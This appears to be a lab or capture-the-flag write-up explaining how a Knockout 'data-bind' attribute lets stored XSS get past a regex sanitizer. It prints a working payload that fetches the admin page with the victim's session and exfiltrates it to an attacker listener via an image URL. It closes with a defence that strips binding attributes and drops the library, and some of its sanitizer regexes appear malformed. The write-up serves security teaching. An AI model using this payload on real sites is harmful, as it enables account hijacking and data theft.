

A website has two sides:

- Server — a program running on a computer somewhere. It stores stuff (like notes people post) and sends pages to visitors.
- Browser — your Chrome/Firefox. It receives a page and renders it: turns the HTML text into the visible page, and runs any JavaScript the page contains.

When you post a note on a normal site, your text goes to the server, gets stored, and is sent back to anyone who visits the page. If the site is naive and lets you post

```
<script>steal_password()</script>
```

that script runs in every other visitor's browser including the admin's. That's "XSS" (cross-site scripting). It's bad because the malicious code runs as if it were part of the site, so the browser trusts it.

Defense #1: the sanitizer (and why it isn't enough)

Sites defend by running posted text through a sanitizer — a function that strips out anything dangerous before saving or rendering. Ours is in app/server.js:

```
function sanitizePermissive(html) {  
  return html  
    .replace(/<script[^\>]*>[\s\S]*?<\script>/gi, "") // kill <script>  
    .replace(/\son\w+\s*=\s*"["]*"/gi, "") // kill onclick=, onerror=  
    .replace(/...javascript:.../gi, ""); // kill javascript: links  
}
```

This catches every "obvious" XSS textbook example. Try posting `<script>alert(1)</script>` on /notes — nothing happens. Sanitizer wins.

So... we're done? No. The sanitizer only knows about things that look dangerous to it. It doesn't know about everything the browser might do with what it allows through.

Defense #2: the gadget that breaks it

Modern websites use JavaScript libraries to make pages interactive. One example: Knockout. Knockout reads HTML, looks for special attributes called data-bind, and treats their content as JavaScript code.

Like:

```
<span data-bind="text: 1 + 1"></span>
```

Knockout sees this, evaluates $1 + 1$, and replaces the span's text with 2. Useful for building dashboards.

Here's the trap: data-bind looks harmless. It starts with data-, which is a normal HTML convention for "custom data attributes." Sanitizers — including ours — let data-* attributes through because they're not supposed to do anything dangerous.

But Knockout does do something with them: it runs the contents as JavaScript. The library is the gadget — a piece of legitimate code that, when fed attacker-shaped input, becomes a weapon.

Putting it together: our exploit

The attacker posts this note:

```
<i data-bind="text: (fetch('/admin').then(r=>r.text()).then(t=>{new Image().src='http://localhost:9000/?f='+encodeURIComponent(t)}),'pwned')"></i>
```

Read it as English:

1. `fetch('/admin')` — go ask our own server for the admin page.
2. `.then(r => r.text())` — when the response comes back, grab its text.
3. `.then(t => { new Image().src='http://localhost:9000/?f=' + encodeURIComponent(t) })` — make the browser load an "image" from the attacker's server, but the URL has the admin page (containing the flag) tacked onto it. The attacker isn't really serving an image — they're just logging the URL.

Step by step, when an admin visits `/notes`:

1. Server runs the sanitizer. The note has no `<script>`, no `onerror`, no `javascript:` — just a `data-bind`. Sanitizer says: looks fine. Note is stored and sent to the browser.
2. The notes page also tells the browser to load Knockout (`<script src="/vendor/knockout/...">`). Knockout starts up and scans the page.
3. Knockout finds the `data-bind` attribute on the malicious note and evaluates its contents as JavaScript. The gadget fires.
4. The `fetch('/admin')` call goes to our own server. Browsers automatically attach the admin's session cookie to same-site requests, so the server thinks the admin is asking and returns the admin page (with the flag in it).
5. The JS reads that response and stuffs it into the URL of an `<Image>` element pointing at the attacker's server. The browser dutifully tries to "load" it, which means it makes an HTTP request to the attacker. The attacker doesn't care about images — they just print the URL to their logs. The flag is in the URL. Game over.

Why HttpOnly cookies don't save you

You may have heard "use HttpOnly cookies so JavaScript can't steal them." That's true: `document.cookie` won't show an HttpOnly cookie. Our app sets the cookie that way.

But our exploit never reads the cookie. It just calls `fetch('/admin')`, and the browser itself attaches the cookie automatically (that's how every logged-in request works). The JS reads the response, not the cookie. So HttpOnly doesn't help here XSS is still catastrophic.

What the "safe" version changes

`/notes/safe` does two things differently:

1. The sanitizer also strips `data-*`, `ng-*`, `v-*`, etc. — the attribute prefixes used by binding libraries. So even if Knockout were on the page, there'd be nothing for it to interpret.
2. The page doesn't load Knockout at all. No gadget present, no risk.

That's defense in depth: remove the dangerous attribute and don't ship the library that gives those attributes power. Either alone would have stopped this attack; both together is the safe pattern.

The one-sentence lesson

A sanitizer alone doesn't make rendered HTML safe — it only blocks attacks the sanitizer anticipated. If any library on the page can turn an attribute the sanitizer allowed into JavaScript execution, you

have XSS again, even with HttpOnly cookies, even with strong CSP, even with no `<script>` tags anywhere.